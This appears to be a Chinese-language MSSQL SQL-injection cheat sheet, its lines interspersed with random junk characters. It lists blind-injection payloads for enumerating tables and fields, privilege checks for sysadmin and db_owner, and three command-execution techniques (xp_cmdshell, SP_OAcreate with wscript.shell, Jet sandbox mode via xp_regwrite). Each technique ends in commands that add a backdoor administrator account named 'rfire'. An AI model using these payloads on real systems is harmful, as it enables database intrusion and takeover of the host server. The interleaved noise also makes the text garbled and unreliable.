; f$ j% U# ^4 S6 ], S5 Dand (select Count(1) from [pctest]) between 0 and 99 //判断表中字段数来知道有几个文夹和目录/ M [ J% M- k8 D5 G
- d. I( [; {' E- n" N% C. u+ W
And (Select Top 1 len(Cast([file] as varchar(8000))+subdirectory) From (Select Top 2 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 0 and 20 //猜解第二个字段5 n1 T- A9 @6 H* \
6 A" o- s) h+ j6 Y1 }" [And (Select Top 1 unicode(substring(Cast([file] as varchar(8000))+subdirectory,1,1)) From (Select Top 1 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 30 and 130 //逐一猜解字段名的每位字符8 W% q6 \1 Y/ U5 ~: \' w) H" o* u
. \2 \% ?( h& \+ i4 p2 s- y. c. j" z4 ?- _" t6 ?
数据库版本和权限查看( L6 V v3 z% h$ E3 ^
and 1=(select @@VERSION) //查看详细的数据库信息., R( X: N7 f* |
and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- //查看权限是不是SA& _3 U, T/ `! R. N, l. F
and 1=(SELECT IS_MEMBER('db_owner'));-- //查看权限是不是DB_ONWER % C3 p4 S) R( u, k/ }8 S% |0 w' [" g. c! z2 \
. u+ @2 b4 Z G
1.利用xp_cmdshell执行命令* l' ]% | G8 S9 H6 j' h
exec master..xp_cmdshell 'net user rfire 123456 /add'6 g( N' H+ @# d1 \* `
exec master..xp_cmdshell 'net localgroup administrators rfire /add'2 R( T8 H9 r8 b5 z% C3 Q
# ?. K" b( f Q0 e5 C/ x7 o w+ v _恢复xp_cmdshell存储过程 8 p6 Y9 }% Y1 I ZExec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll' ( ]2 N/ T! ]3 \2 w/ }0 V1 ?9 q* L7 o6 \: q$ v
+ P4 u. Z! _* m+ Y, q6 O
2.利用SP_OAcreate和SP_OAMETHOD执行命令/ ]. S- P* d$ [5 y* ^8 p. z' S
在wscript.shell组件存在的情况下以及xp_cmdshell和xplog70.dll都被删除的情况下+ q/ n( n- [8 V6 Q
DECLARE @shell INT //建立一个@shell实体2 j" G1 r/ D3 f0 y4 }& `, I3 s W9 B
EXEC SP_OAcreate 'wscript.shell',@shell out //创建OLE对象的实例* [+ o' l# o, l' V! I6 _' H D4 h/ e
EXEC SP_OAMETHOD @shell,'run',null,'net user rfire 123456 /add' //调用@shell这个实例9 I" \4 Y0 Z0 B- t! n
# f1 } c2 ~3 B7 X* B1 F0 J o. p3 T- ? . H$ v5 c6 K7 v+ w8 y3.利用沙盒模式 , H1 c. [" I5 h/ c5 f+ j先利用xp_regwrite(前提是要求xp_regwrite存在)改注册表,然后用OpenRowSet访问系统自身mdb文件,然后执行SQL语句。$ N) V/ Z: f7 Y7 K# H) X( {' O
开启沙盒模式: - H c6 y' f5 qEXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD',0 3 ]) H% M; u+ c4 w5 _6 k3 M- E2 j 9 w8 r0 g/ r h& r执行命令: ; N8 \' G0 J. I/ p6 k* SSelect * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user rfire 123456 /add")'); * D0 ^( r4 c! c0 k3 ?' @& m* i; p# m